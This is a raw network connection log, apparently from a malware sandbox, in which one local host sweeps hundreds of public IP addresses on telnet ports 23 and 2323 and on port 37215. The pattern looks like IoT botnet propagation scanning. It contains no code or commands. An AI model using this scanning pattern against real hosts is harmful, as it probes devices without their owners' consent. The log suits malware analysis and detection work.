Dec 26, 2023 21:22:46.106910944 CET	36253	23	192.168.2.23	217.84.207.255
Dec 26, 2023 21:22:46.106914997 CET	36253	23	192.168.2.23	183.23.35.145
Dec 26, 2023 21:22:46.106910944 CET	36253	23	192.168.2.23	45.246.2.148
Dec 26, 2023 21:22:46.106919050 CET	36253	23	192.168.2.23	104.79.164.71
Dec 26, 2023 21:22:46.106920004 CET	36253	23	192.168.2.23	86.122.110.13
Dec 26, 2023 21:22:46.106919050 CET	36253	23	192.168.2.23	147.36.215.204
Dec 26, 2023 21:22:46.106924057 CET	36253	2323	192.168.2.23	182.4.255.235
Dec 26, 2023 21:22:46.106930017 CET	36253	23	192.168.2.23	210.33.196.140
Dec 26, 2023 21:22:46.106930971 CET	36253	23	192.168.2.23	148.13.72.193
Dec 26, 2023 21:22:46.106930971 CET	36253	23	192.168.2.23	183.15.4.41
Dec 26, 2023 21:22:46.106930971 CET	36253	23	192.168.2.23	169.234.107.86
Dec 26, 2023 21:22:46.106930971 CET	36253	23	192.168.2.23	143.33.37.47
Dec 26, 2023 21:22:46.106940031 CET	36253	2323	192.168.2.23	52.18.87.223
Dec 26, 2023 21:22:46.106946945 CET	36253	23	192.168.2.23	142.172.91.154
Dec 26, 2023 21:22:46.106946945 CET	36253	23	192.168.2.23	179.210.168.120
Dec 26, 2023 21:22:46.106954098 CET	36253	23	192.168.2.23	146.211.165.21
Dec 26, 2023 21:22:46.106954098 CET	36253	23	192.168.2.23	82.129.65.120
Dec 26, 2023 21:22:46.106954098 CET	36253	23	192.168.2.23	57.21.115.83
Dec 26, 2023 21:22:46.106955051 CET	36253	23	192.168.2.23	165.138.165.29
Dec 26, 2023 21:22:46.106955051 CET	36253	2323	192.168.2.23	27.211.240.34
Dec 26, 2023 21:22:46.106956005 CET	36253	23	192.168.2.23	48.112.30.116
Dec 26, 2023 21:22:46.106956005 CET	36253	23	192.168.2.23	210.0.182.183
Dec 26, 2023 21:22:46.106960058 CET	36253	23	192.168.2.23	162.55.223.229
Dec 26, 2023 21:22:46.106960058 CET	36253	23	192.168.2.23	113.102.225.23
Dec 26, 2023 21:22:46.106961966 CET	36253	23	192.168.2.23	196.238.38.161
Dec 26, 2023 21:22:46.106961966 CET	36253	23	192.168.2.23	70.198.24.10
Dec 26, 2023 21:22:46.106961966 CET	36253	23	192.168.2.23	118.239.95.162
Dec 26, 2023 21:22:46.106961966 CET	36253	23	192.168.2.23	65.48.115.70
Dec 26, 2023 21:22:46.106961966 CET	36253	23	192.168.2.23	204.175.211.207
Dec 26, 2023 21:22:46.106973886 CET	36253	23	192.168.2.23	194.202.232.208
Dec 26, 2023 21:22:46.106973886 CET	36253	23	192.168.2.23	20.248.254.33
Dec 26, 2023 21:22:46.106978893 CET	36253	23	192.168.2.23	46.102.237.171
Dec 26, 2023 21:22:46.106981039 CET	36253	2323	192.168.2.23	122.34.69.185
Dec 26, 2023 21:22:46.106981993 CET	36253	23	192.168.2.23	39.209.169.162
Dec 26, 2023 21:22:46.106981993 CET	36253	23	192.168.2.23	189.74.59.51
Dec 26, 2023 21:22:46.106981993 CET	36253	23	192.168.2.23	72.157.195.62
Dec 26, 2023 21:22:46.106981993 CET	36253	23	192.168.2.23	20.4.49.244
Dec 26, 2023 21:22:46.106981993 CET	36253	23	192.168.2.23	132.63.197.47
Dec 26, 2023 21:22:46.106987000 CET	36253	23	192.168.2.23	221.223.246.222
Dec 26, 2023 21:22:46.106987000 CET	36253	23	192.168.2.23	105.82.241.154
Dec 26, 2023 21:22:46.106987000 CET	36253	23	192.168.2.23	27.42.18.202
Dec 26, 2023 21:22:46.106988907 CET	36253	2323	192.168.2.23	40.231.247.145
Dec 26, 2023 21:22:46.106988907 CET	36253	23	192.168.2.23	51.142.115.183
Dec 26, 2023 21:22:46.106988907 CET	36253	23	192.168.2.23	132.42.87.53
Dec 26, 2023 21:22:46.106996059 CET	36253	23	192.168.2.23	167.145.50.24
Dec 26, 2023 21:22:46.106996059 CET	36253	23	192.168.2.23	148.157.102.130
Dec 26, 2023 21:22:46.107000113 CET	36253	23	192.168.2.23	152.49.57.76
Dec 26, 2023 21:22:46.107002974 CET	36253	23	192.168.2.23	200.65.75.174
Dec 26, 2023 21:22:46.107002974 CET	36253	23	192.168.2.23	155.169.70.12
Dec 26, 2023 21:22:46.107008934 CET	36253	23	192.168.2.23	151.0.37.88
Dec 26, 2023 21:22:46.107017040 CET	36253	23	192.168.2.23	198.90.89.51
Dec 26, 2023 21:22:46.107017040 CET	36253	23	192.168.2.23	164.234.150.17
Dec 26, 2023 21:22:46.107017040 CET	36253	23	192.168.2.23	1.135.181.163
Dec 26, 2023 21:22:46.107024908 CET	36253	23	192.168.2.23	138.11.152.154
Dec 26, 2023 21:22:46.107028961 CET	36253	23	192.168.2.23	199.65.191.97
Dec 26, 2023 21:22:46.107028961 CET	36253	23	192.168.2.23	129.231.80.176
Dec 26, 2023 21:22:46.107028961 CET	36253	23	192.168.2.23	157.75.219.216
Dec 26, 2023 21:22:46.107032061 CET	36253	23	192.168.2.23	64.59.95.227
Dec 26, 2023 21:22:46.107032061 CET	36253	23	192.168.2.23	168.165.224.172
Dec 26, 2023 21:22:46.107032061 CET	36253	23	192.168.2.23	104.56.79.181
Dec 26, 2023 21:22:46.107033014 CET	36253	2323	192.168.2.23	62.68.12.182
Dec 26, 2023 21:22:46.107032061 CET	36253	23	192.168.2.23	9.217.172.43
Dec 26, 2023 21:22:46.107033014 CET	36253	23	192.168.2.23	128.27.111.77
Dec 26, 2023 21:22:46.107033014 CET	36253	23	192.168.2.23	93.210.238.250
Dec 26, 2023 21:22:46.107037067 CET	36253	23	192.168.2.23	8.169.162.74
Dec 26, 2023 21:22:46.107033014 CET	36253	2323	192.168.2.23	77.207.166.201
Dec 26, 2023 21:22:46.107033014 CET	36253	2323	192.168.2.23	58.127.190.86
Dec 26, 2023 21:22:46.107039928 CET	36253	23	192.168.2.23	76.176.42.126
Dec 26, 2023 21:22:46.107033014 CET	36253	23	192.168.2.23	80.12.228.109
Dec 26, 2023 21:22:46.107039928 CET	36253	23	192.168.2.23	97.142.185.122
Dec 26, 2023 21:22:46.107039928 CET	36253	23	192.168.2.23	96.171.43.185
Dec 26, 2023 21:22:46.107043982 CET	36253	23	192.168.2.23	116.152.122.132
Dec 26, 2023 21:22:46.107044935 CET	36253	23	192.168.2.23	152.241.42.216
Dec 26, 2023 21:22:46.107044935 CET	36253	23	192.168.2.23	5.175.237.85
Dec 26, 2023 21:22:46.107044935 CET	36253	23	192.168.2.23	77.164.131.177
Dec 26, 2023 21:22:46.107044935 CET	36253	23	192.168.2.23	176.27.233.73
Dec 26, 2023 21:22:46.107048035 CET	36253	23	192.168.2.23	218.137.191.114
Dec 26, 2023 21:22:46.107048035 CET	36253	23	192.168.2.23	166.255.87.177
Dec 26, 2023 21:22:46.107052088 CET	36253	23	192.168.2.23	131.76.140.7
Dec 26, 2023 21:22:46.107052088 CET	36253	23	192.168.2.23	68.226.120.49
Dec 26, 2023 21:22:46.107055902 CET	36253	23	192.168.2.23	148.112.44.10
Dec 26, 2023 21:22:46.107069016 CET	36253	2323	192.168.2.23	118.197.56.101
Dec 26, 2023 21:22:46.107069016 CET	36253	23	192.168.2.23	114.124.80.57
Dec 26, 2023 21:22:46.107079029 CET	36253	23	192.168.2.23	136.175.89.25
Dec 26, 2023 21:22:46.107079029 CET	36253	23	192.168.2.23	59.168.42.78
Dec 26, 2023 21:22:46.107079029 CET	36253	23	192.168.2.23	194.234.190.165
Dec 26, 2023 21:22:46.107079029 CET	36253	23	192.168.2.23	211.229.234.134
Dec 26, 2023 21:22:46.107079029 CET	36253	23	192.168.2.23	117.22.99.226
Dec 26, 2023 21:22:46.107079029 CET	36253	2323	192.168.2.23	117.120.139.241
Dec 26, 2023 21:22:46.107080936 CET	36253	23	192.168.2.23	168.34.27.44
Dec 26, 2023 21:22:46.107080936 CET	36253	23	192.168.2.23	54.131.48.137
Dec 26, 2023 21:22:46.107080936 CET	36253	23	192.168.2.23	8.68.32.158
Dec 26, 2023 21:22:46.107085943 CET	36253	23	192.168.2.23	68.111.120.9
Dec 26, 2023 21:22:46.107085943 CET	36253	23	192.168.2.23	143.43.121.118
Dec 26, 2023 21:22:46.107089996 CET	36253	23	192.168.2.23	58.175.45.173
Dec 26, 2023 21:22:46.107090950 CET	36253	23	192.168.2.23	192.50.154.32
Dec 26, 2023 21:22:46.107100010 CET	36253	23	192.168.2.23	39.231.9.234
Dec 26, 2023 21:22:46.107110023 CET	36253	23	192.168.2.23	118.156.165.72
Dec 26, 2023 21:22:46.107114077 CET	36253	23	192.168.2.23	209.48.243.155
Dec 26, 2023 21:22:46.107115030 CET	36253	23	192.168.2.23	105.223.218.233
Dec 26, 2023 21:22:46.107116938 CET	36253	23	192.168.2.23	74.230.48.145
Dec 26, 2023 21:22:46.107117891 CET	36253	23	192.168.2.23	187.68.182.240
Dec 26, 2023 21:22:46.107116938 CET	36253	2323	192.168.2.23	31.85.133.155
Dec 26, 2023 21:22:46.107116938 CET	36253	23	192.168.2.23	196.50.72.81
Dec 26, 2023 21:22:46.107120991 CET	36253	23	192.168.2.23	195.16.82.125
Dec 26, 2023 21:22:46.107120991 CET	36253	23	192.168.2.23	20.158.164.27
Dec 26, 2023 21:22:46.107131004 CET	36253	23	192.168.2.23	34.109.92.240
Dec 26, 2023 21:22:46.107131958 CET	36253	23	192.168.2.23	179.212.180.40
Dec 26, 2023 21:22:46.107131958 CET	36253	23	192.168.2.23	167.62.234.211
Dec 26, 2023 21:22:46.107136011 CET	36253	23	192.168.2.23	94.150.52.156
Dec 26, 2023 21:22:46.107146978 CET	36253	2323	192.168.2.23	180.251.210.215
Dec 26, 2023 21:22:46.107147932 CET	36253	23	192.168.2.23	150.162.24.246
Dec 26, 2023 21:22:46.107147932 CET	36253	23	192.168.2.23	107.65.137.90
Dec 26, 2023 21:22:46.107151985 CET	36253	23	192.168.2.23	17.85.22.149
Dec 26, 2023 21:22:46.107158899 CET	36253	23	192.168.2.23	95.111.127.94
Dec 26, 2023 21:22:46.107167959 CET	36253	23	192.168.2.23	221.240.211.12
Dec 26, 2023 21:22:46.107168913 CET	36253	23	192.168.2.23	198.63.120.100
Dec 26, 2023 21:22:46.107170105 CET	36253	23	192.168.2.23	167.214.251.224
Dec 26, 2023 21:22:46.107178926 CET	36253	23	192.168.2.23	218.23.163.250
Dec 26, 2023 21:22:46.107184887 CET	36253	23	192.168.2.23	84.167.206.222
Dec 26, 2023 21:22:46.107187033 CET	36253	23	192.168.2.23	200.18.1.173
Dec 26, 2023 21:22:46.107187986 CET	36253	2323	192.168.2.23	132.119.168.14
Dec 26, 2023 21:22:46.107187986 CET	36253	23	192.168.2.23	186.56.144.100
Dec 26, 2023 21:22:46.107198954 CET	36253	23	192.168.2.23	124.232.95.106
Dec 26, 2023 21:22:46.107198954 CET	36253	23	192.168.2.23	82.15.162.88
Dec 26, 2023 21:22:46.107198954 CET	36253	23	192.168.2.23	161.90.15.52
Dec 26, 2023 21:22:46.107198954 CET	36253	23	192.168.2.23	43.143.124.162
Dec 26, 2023 21:22:46.107202053 CET	36253	23	192.168.2.23	76.247.124.20
Dec 26, 2023 21:22:46.107208014 CET	36253	2323	192.168.2.23	51.5.7.100
Dec 26, 2023 21:22:46.107208967 CET	36253	23	192.168.2.23	149.136.167.222
Dec 26, 2023 21:22:46.107208967 CET	36253	23	192.168.2.23	148.159.181.71
Dec 26, 2023 21:22:46.107219934 CET	36253	23	192.168.2.23	44.159.38.175
Dec 26, 2023 21:22:46.107219934 CET	36253	23	192.168.2.23	20.255.92.239
Dec 26, 2023 21:22:46.107222080 CET	36253	23	192.168.2.23	84.114.143.61
Dec 26, 2023 21:22:46.107222080 CET	36253	23	192.168.2.23	142.171.47.90
Dec 26, 2023 21:22:46.107222080 CET	36253	23	192.168.2.23	182.13.82.65
Dec 26, 2023 21:22:46.107240915 CET	36253	23	192.168.2.23	60.67.247.52
Dec 26, 2023 21:22:46.107240915 CET	36253	23	192.168.2.23	198.174.245.39
Dec 26, 2023 21:22:46.107240915 CET	36253	23	192.168.2.23	223.40.21.130
Dec 26, 2023 21:22:46.107240915 CET	36253	23	192.168.2.23	144.59.222.15
Dec 26, 2023 21:22:46.107240915 CET	36253	23	192.168.2.23	194.249.76.211
Dec 26, 2023 21:22:46.107240915 CET	36253	23	192.168.2.23	200.105.115.60
Dec 26, 2023 21:22:46.107240915 CET	36253	23	192.168.2.23	181.249.220.31
Dec 26, 2023 21:22:46.107244015 CET	36253	23	192.168.2.23	119.126.71.190
Dec 26, 2023 21:22:46.107240915 CET	36253	23	192.168.2.23	60.109.175.228
Dec 26, 2023 21:22:46.107240915 CET	36253	23	192.168.2.23	200.68.220.239
Dec 26, 2023 21:22:46.107244968 CET	36253	23	192.168.2.23	5.187.244.185
Dec 26, 2023 21:22:46.107240915 CET	36253	23	192.168.2.23	115.53.78.195
Dec 26, 2023 21:22:46.107244015 CET	36253	23	192.168.2.23	218.148.107.94
Dec 26, 2023 21:22:46.107244968 CET	36253	2323	192.168.2.23	208.161.188.22
Dec 26, 2023 21:22:46.107240915 CET	36253	23	192.168.2.23	206.115.150.178
Dec 26, 2023 21:22:46.107244968 CET	36253	23	192.168.2.23	119.130.228.165
Dec 26, 2023 21:22:46.107240915 CET	36253	2323	192.168.2.23	178.52.57.153
Dec 26, 2023 21:22:46.107244968 CET	36253	23	192.168.2.23	164.254.131.10
Dec 26, 2023 21:22:46.107244968 CET	36253	23	192.168.2.23	180.175.220.31
Dec 26, 2023 21:22:46.107264996 CET	36253	23	192.168.2.23	209.114.247.49
Dec 26, 2023 21:22:46.107264996 CET	36253	23	192.168.2.23	186.14.106.211
Dec 26, 2023 21:22:46.107276917 CET	36253	23	192.168.2.23	8.74.142.74
Dec 26, 2023 21:22:46.107276917 CET	36253	23	192.168.2.23	173.103.52.222
Dec 26, 2023 21:22:46.107276917 CET	36253	23	192.168.2.23	208.54.78.252
Dec 26, 2023 21:22:46.107276917 CET	36253	23	192.168.2.23	81.135.146.187
Dec 26, 2023 21:22:46.107276917 CET	36253	2323	192.168.2.23	181.219.126.193
Dec 26, 2023 21:22:46.107276917 CET	36253	23	192.168.2.23	158.41.20.242
Dec 26, 2023 21:22:46.107276917 CET	36253	23	192.168.2.23	149.192.165.0
Dec 26, 2023 21:22:46.107280970 CET	36253	23	192.168.2.23	108.194.72.24
Dec 26, 2023 21:22:46.107280970 CET	36253	23	192.168.2.23	102.21.99.173
Dec 26, 2023 21:22:46.107280970 CET	36253	23	192.168.2.23	202.28.226.52
Dec 26, 2023 21:22:46.107280970 CET	36253	23	192.168.2.23	106.214.135.17
Dec 26, 2023 21:22:46.107280970 CET	36253	23	192.168.2.23	71.67.134.202
Dec 26, 2023 21:22:46.107289076 CET	36253	23	192.168.2.23	205.109.229.81
Dec 26, 2023 21:22:46.107289076 CET	36253	23	192.168.2.23	171.62.114.44
Dec 26, 2023 21:22:46.107289076 CET	36253	23	192.168.2.23	201.192.207.192
Dec 26, 2023 21:22:46.107289076 CET	36253	23	192.168.2.23	149.126.106.164
Dec 26, 2023 21:22:46.107289076 CET	36253	23	192.168.2.23	108.116.189.195
Dec 26, 2023 21:22:46.107289076 CET	36253	2323	192.168.2.23	145.237.172.122
Dec 26, 2023 21:22:46.107292891 CET	36253	23	192.168.2.23	24.243.138.228
Dec 26, 2023 21:22:46.107292891 CET	36253	23	192.168.2.23	76.234.75.179
Dec 26, 2023 21:22:46.107294083 CET	36253	23	192.168.2.23	17.104.108.147
Dec 26, 2023 21:22:46.107294083 CET	36253	23	192.168.2.23	47.205.155.141
Dec 26, 2023 21:22:46.107300043 CET	36253	2323	192.168.2.23	210.25.199.139
Dec 26, 2023 21:22:46.107300043 CET	36253	23	192.168.2.23	14.61.83.134
Dec 26, 2023 21:22:46.107300043 CET	36253	23	192.168.2.23	154.218.58.98
Dec 26, 2023 21:22:46.107300043 CET	36253	23	192.168.2.23	97.50.3.148
Dec 26, 2023 21:22:46.107300043 CET	36253	23	192.168.2.23	61.93.184.7
Dec 26, 2023 21:22:46.107300043 CET	36253	23	192.168.2.23	123.105.144.174
Dec 26, 2023 21:22:46.107300043 CET	36253	23	192.168.2.23	72.100.251.202
Dec 26, 2023 21:22:46.107300043 CET	36253	23	192.168.2.23	218.56.8.26
Dec 26, 2023 21:22:46.107306957 CET	36253	23	192.168.2.23	113.213.150.60
Dec 26, 2023 21:22:46.107306957 CET	36253	2323	192.168.2.23	125.228.58.26
Dec 26, 2023 21:22:46.107306957 CET	36253	23	192.168.2.23	113.200.229.50
Dec 26, 2023 21:22:46.107315063 CET	36253	23	192.168.2.23	207.206.139.143
Dec 26, 2023 21:22:46.107316017 CET	36253	23	192.168.2.23	147.217.143.218
Dec 26, 2023 21:22:46.107316017 CET	36253	23	192.168.2.23	213.157.124.111
Dec 26, 2023 21:22:46.107316017 CET	36253	23	192.168.2.23	151.118.188.2
Dec 26, 2023 21:22:46.107326984 CET	36253	23	192.168.2.23	137.241.195.192
Dec 26, 2023 21:22:46.107326984 CET	36253	23	192.168.2.23	139.67.249.66
Dec 26, 2023 21:22:46.107326984 CET	36253	23	192.168.2.23	103.88.208.71
Dec 26, 2023 21:22:46.107335091 CET	36253	23	192.168.2.23	121.146.15.56
Dec 26, 2023 21:22:46.107335091 CET	36253	23	192.168.2.23	200.233.127.66
Dec 26, 2023 21:22:46.107335091 CET	36253	23	192.168.2.23	89.35.120.58
Dec 26, 2023 21:22:46.107335091 CET	36253	23	192.168.2.23	223.202.203.53
Dec 26, 2023 21:22:46.107338905 CET	36253	23	192.168.2.23	66.63.174.9
Dec 26, 2023 21:22:46.107340097 CET	36253	23	192.168.2.23	150.226.50.19
Dec 26, 2023 21:22:46.107338905 CET	36253	23	192.168.2.23	65.237.54.102
Dec 26, 2023 21:22:46.107340097 CET	36253	23	192.168.2.23	170.214.206.155
Dec 26, 2023 21:22:46.107338905 CET	36253	23	192.168.2.23	88.40.126.100
Dec 26, 2023 21:22:46.107340097 CET	36253	2323	192.168.2.23	50.201.133.67
Dec 26, 2023 21:22:46.107338905 CET	36253	2323	192.168.2.23	183.189.59.158
Dec 26, 2023 21:22:46.107340097 CET	36253	23	192.168.2.23	164.86.62.69
Dec 26, 2023 21:22:46.107340097 CET	36253	23	192.168.2.23	2.227.6.29
Dec 26, 2023 21:22:46.107342958 CET	36253	23	192.168.2.23	105.182.189.118
Dec 26, 2023 21:22:46.107342958 CET	36253	23	192.168.2.23	14.7.183.35
Dec 26, 2023 21:22:46.107342958 CET	36253	23	192.168.2.23	222.16.26.140
Dec 26, 2023 21:22:46.107342958 CET	36253	23	192.168.2.23	118.82.64.236
Dec 26, 2023 21:22:46.107342958 CET	36253	23	192.168.2.23	189.58.16.241
Dec 26, 2023 21:22:46.107342958 CET	36253	23	192.168.2.23	209.54.43.246
Dec 26, 2023 21:22:46.107342958 CET	36253	23	192.168.2.23	219.127.78.237
Dec 26, 2023 21:22:46.107342958 CET	36253	23	192.168.2.23	5.108.199.143
Dec 26, 2023 21:22:46.107350111 CET	36253	23	192.168.2.23	155.134.190.107
Dec 26, 2023 21:22:46.107350111 CET	36253	23	192.168.2.23	210.16.5.134
Dec 26, 2023 21:22:46.107374907 CET	36253	23	192.168.2.23	204.232.148.99
Dec 26, 2023 21:22:46.107374907 CET	36253	23	192.168.2.23	219.236.187.141
Dec 26, 2023 21:22:46.107374907 CET	36253	23	192.168.2.23	17.107.166.125
Dec 26, 2023 21:22:46.107374907 CET	36253	23	192.168.2.23	66.157.124.56
Dec 26, 2023 21:22:46.107374907 CET	36253	23	192.168.2.23	34.182.141.17
Dec 26, 2023 21:22:46.107374907 CET	36253	23	192.168.2.23	27.87.238.172
Dec 26, 2023 21:22:46.107398033 CET	36253	23	192.168.2.23	210.66.33.91
Dec 26, 2023 21:22:46.107398033 CET	36253	23	192.168.2.23	119.44.72.233
Dec 26, 2023 21:22:46.107398033 CET	36253	23	192.168.2.23	156.160.104.35
Dec 26, 2023 21:22:46.107400894 CET	36253	23	192.168.2.23	143.241.91.214
Dec 26, 2023 21:22:46.107403994 CET	36253	23	192.168.2.23	129.2.234.106
Dec 26, 2023 21:22:46.107403994 CET	36253	23	192.168.2.23	12.11.33.76
Dec 26, 2023 21:22:46.107403994 CET	36253	2323	192.168.2.23	144.4.208.185
Dec 26, 2023 21:22:46.107417107 CET	36253	2323	192.168.2.23	91.88.99.17
Dec 26, 2023 21:22:46.107417107 CET	36253	23	192.168.2.23	187.66.5.239
Dec 26, 2023 21:22:46.109714985 CET	45981	37215	192.168.2.23	41.161.127.204
Dec 26, 2023 21:22:46.109720945 CET	45981	37215	192.168.2.23	41.164.118.187
Dec 26, 2023 21:22:46.109730959 CET	45981	37215	192.168.2.23	41.180.237.205
Dec 26, 2023 21:22:46.109752893 CET	45981	37215	192.168.2.23	41.248.31.59
Dec 26, 2023 21:22:46.109752893 CET	45981	37215	192.168.2.23	41.135.233.116
Dec 26, 2023 21:22:46.109752893 CET	45981	37215	192.168.2.23	41.182.221.138
Dec 26, 2023 21:22:46.109762907 CET	45981	37215	192.168.2.23	41.240.163.69
Dec 26, 2023 21:22:46.109766006 CET	45981	37215	192.168.2.23	41.175.24.220
Dec 26, 2023 21:22:46.109767914 CET	45981	37215	192.168.2.23	41.125.63.112
Dec 26, 2023 21:22:46.109776020 CET	45981	37215	192.168.2.23	41.159.212.124
Dec 26, 2023 21:22:46.109785080 CET	45981	37215	192.168.2.23	41.242.11.192
Dec 26, 2023 21:22:46.109788895 CET	45981	37215	192.168.2.23	41.153.119.143
Dec 26, 2023 21:22:46.109793901 CET	45981	37215	192.168.2.23	41.235.97.196
Dec 26, 2023 21:22:46.109812975 CET	45981	37215	192.168.2.23	41.37.124.203
Dec 26, 2023 21:22:46.109813929 CET	45981	37215	192.168.2.23	41.123.247.148
Dec 26, 2023 21:22:46.109824896 CET	45981	37215	192.168.2.23	41.154.117.64
Dec 26, 2023 21:22:46.109829903 CET	45981	37215	192.168.2.23	41.196.124.45
Dec 26, 2023 21:22:46.109833956 CET	45981	37215	192.168.2.23	41.136.203.121
Dec 26, 2023 21:22:46.109848976 CET	45981	37215	192.168.2.23	41.215.114.237
Dec 26, 2023 21:22:46.109852076 CET	45981	37215	192.168.2.23	41.17.108.244
Dec 26, 2023 21:22:46.109859943 CET	45981	37215	192.168.2.23	41.75.243.174
Dec 26, 2023 21:22:46.109860897 CET	45981	37215	192.168.2.23	41.235.107.11
Dec 26, 2023 21:22:46.109869957 CET	45981	37215	192.168.2.23	41.248.208.94
Dec 26, 2023 21:22:46.109875917 CET	45981	37215	192.168.2.23	41.114.161.60
Dec 26, 2023 21:22:46.109882116 CET	45981	37215	192.168.2.23	41.187.160.41
Dec 26, 2023 21:22:46.109888077 CET	45981	37215	192.168.2.23	41.78.42.212
Dec 26, 2023 21:22:46.109899044 CET	45981	37215	192.168.2.23	41.103.151.72
Dec 26, 2023 21:22:46.109905958 CET	45981	37215	192.168.2.23	41.180.172.221
Dec 26, 2023 21:22:46.109905958 CET	45981	37215	192.168.2.23	41.171.203.247
Dec 26, 2023 21:22:46.109910011 CET	45981	37215	192.168.2.23	41.43.58.57
Dec 26, 2023 21:22:46.109925032 CET	45981	37215	192.168.2.23	41.103.106.40
Dec 26, 2023 21:22:46.109925985 CET	45981	37215	192.168.2.23	41.19.249.70
Dec 26, 2023 21:22:46.109925985 CET	45981	37215	192.168.2.23	41.93.173.227
Dec 26, 2023 21:22:46.109927893 CET	45981	37215	192.168.2.23	41.1.86.101
Dec 26, 2023 21:22:46.109944105 CET	45981	37215	192.168.2.23	41.80.131.85
Dec 26, 2023 21:22:46.109946966 CET	45981	37215	192.168.2.23	41.8.183.7
Dec 26, 2023 21:22:46.109951973 CET	45981	37215	192.168.2.23	41.38.105.24
Dec 26, 2023 21:22:46.109956026 CET	45981	37215	192.168.2.23	41.49.64.245
Dec 26, 2023 21:22:46.109975100 CET	45981	37215	192.168.2.23	41.198.82.255
Dec 26, 2023 21:22:46.109976053 CET	45981	37215	192.168.2.23	41.18.53.158
Dec 26, 2023 21:22:46.109989882 CET	45981	37215	192.168.2.23	41.191.135.45
Dec 26, 2023 21:22:46.109989882 CET	45981	37215	192.168.2.23	41.188.117.59
Dec 26, 2023 21:22:46.109989882 CET	45981	37215	192.168.2.23	41.43.216.167
Dec 26, 2023 21:22:46.110014915 CET	45981	37215	192.168.2.23	41.202.16.233
Dec 26, 2023 21:22:46.110016108 CET	45981	37215	192.168.2.23	41.41.154.73
Dec 26, 2023 21:22:46.110017061 CET	45981	37215	192.168.2.23	41.218.139.93
Dec 26, 2023 21:22:46.110023975 CET	45981	37215	192.168.2.23	41.235.235.104
Dec 26, 2023 21:22:46.110032082 CET	45981	37215	192.168.2.23	41.128.32.6
Dec 26, 2023 21:22:46.110043049 CET	45981	37215	192.168.2.23	41.6.155.192
Dec 26, 2023 21:22:46.110050917 CET	45981	37215	192.168.2.23	41.139.109.54
Dec 26, 2023 21:22:46.110055923 CET	45981	37215	192.168.2.23	41.20.62.148
Dec 26, 2023 21:22:46.110055923 CET	45981	37215	192.168.2.23	41.41.137.173
Dec 26, 2023 21:22:46.110065937 CET	45981	37215	192.168.2.23	41.60.140.39
Dec 26, 2023 21:22:46.110069990 CET	45981	37215	192.168.2.23	41.176.120.171
Dec 26, 2023 21:22:46.110073090 CET	45981	37215	192.168.2.23	41.197.133.45
Dec 26, 2023 21:22:46.110081911 CET	45981	37215	192.168.2.23	41.128.63.73
Dec 26, 2023 21:22:46.110084057 CET	45981	37215	192.168.2.23	41.55.18.245
Dec 26, 2023 21:22:46.110093117 CET	45981	37215	192.168.2.23	41.244.14.102
Dec 26, 2023 21:22:46.110101938 CET	45981	37215	192.168.2.23	41.92.72.3
Dec 26, 2023 21:22:46.110105991 CET	45981	37215	192.168.2.23	41.172.253.35
Dec 26, 2023 21:22:46.110116005 CET	45981	37215	192.168.2.23	41.172.8.181
Dec 26, 2023 21:22:46.110136032 CET	45981	37215	192.168.2.23	41.124.188.52
Dec 26, 2023 21:22:46.110136032 CET	45981	37215	192.168.2.23	41.221.144.139
Dec 26, 2023 21:22:46.110137939 CET	45981	37215	192.168.2.23	41.164.66.119
Dec 26, 2023 21:22:46.110160112 CET	45981	37215	192.168.2.23	41.47.141.57
Dec 26, 2023 21:22:46.110162973 CET	45981	37215	192.168.2.23	41.6.212.189
Dec 26, 2023 21:22:46.110162973 CET	45981	37215	192.168.2.23	41.73.203.250
Dec 26, 2023 21:22:46.110165119 CET	45981	37215	192.168.2.23	41.57.227.130
Dec 26, 2023 21:22:46.110171080 CET	45981	37215	192.168.2.23	41.214.6.73
Dec 26, 2023 21:22:46.110171080 CET	45981	37215	192.168.2.23	41.100.39.20
Dec 26, 2023 21:22:46.110174894 CET	45981	37215	192.168.2.23	41.104.65.153
Dec 26, 2023 21:22:46.110189915 CET	45981	37215	192.168.2.23	41.188.52.165
Dec 26, 2023 21:22:46.110208035 CET	45981	37215	192.168.2.23	41.24.78.93
Dec 26, 2023 21:22:46.110209942 CET	45981	37215	192.168.2.23	41.194.233.150
Dec 26, 2023 21:22:46.110213041 CET	45981	37215	192.168.2.23	41.182.201.50
Dec 26, 2023 21:22:46.110222101 CET	45981	37215	192.168.2.23	41.246.183.44
Dec 26, 2023 21:22:46.110222101 CET	45981	37215	192.168.2.23	41.139.126.84
Dec 26, 2023 21:22:46.110244989 CET	45981	37215	192.168.2.23	41.181.176.201
Dec 26, 2023 21:22:46.110248089 CET	45981	37215	192.168.2.23	41.106.64.124
Dec 26, 2023 21:22:46.110255957 CET	45981	37215	192.168.2.23	41.63.18.115
Dec 26, 2023 21:22:46.110255957 CET	45981	37215	192.168.2.23	41.136.27.16
Dec 26, 2023 21:22:46.110255957 CET	45981	37215	192.168.2.23	41.230.248.222
Dec 26, 2023 21:22:46.110261917 CET	45981	37215	192.168.2.23	41.38.100.32
Dec 26, 2023 21:22:46.110261917 CET	45981	37215	192.168.2.23	41.152.242.124
Dec 26, 2023 21:22:46.110266924 CET	45981	37215	192.168.2.23	41.42.167.43
Dec 26, 2023 21:22:46.110287905 CET	45981	37215	192.168.2.23	41.231.22.18
Dec 26, 2023 21:22:46.110295057 CET	45981	37215	192.168.2.23	41.221.90.48
Dec 26, 2023 21:22:46.110297918 CET	45981	37215	192.168.2.23	41.225.71.71
Dec 26, 2023 21:22:46.110297918 CET	45981	37215	192.168.2.23	41.188.8.165
Dec 26, 2023 21:22:46.110316992 CET	45981	37215	192.168.2.23	41.150.189.6
Dec 26, 2023 21:22:46.110321999 CET	45981	37215	192.168.2.23	41.166.137.160
Dec 26, 2023 21:22:46.110332966 CET	45981	37215	192.168.2.23	41.240.122.122
Dec 26, 2023 21:22:46.110336065 CET	45981	37215	192.168.2.23	41.199.186.56
Dec 26, 2023 21:22:46.110337019 CET	45981	37215	192.168.2.23	41.229.168.71
Dec 26, 2023 21:22:46.110343933 CET	45981	37215	192.168.2.23	41.94.183.237
Dec 26, 2023 21:22:46.110353947 CET	45981	37215	192.168.2.23	41.149.75.200
Dec 26, 2023 21:22:46.110353947 CET	45981	37215	192.168.2.23	41.0.211.223
Dec 26, 2023 21:22:46.110359907 CET	45981	37215	192.168.2.23	41.145.245.141
Dec 26, 2023 21:22:46.110363960 CET	45981	37215	192.168.2.23	41.250.244.165
Dec 26, 2023 21:22:46.110378981 CET	45981	37215	192.168.2.23	41.252.233.66
Dec 26, 2023 21:22:46.110379934 CET	45981	37215	192.168.2.23	41.140.44.180
Dec 26, 2023 21:22:46.110393047 CET	45981	37215	192.168.2.23	41.222.35.90
Dec 26, 2023 21:22:46.110393047 CET	45981	37215	192.168.2.23	41.216.185.158
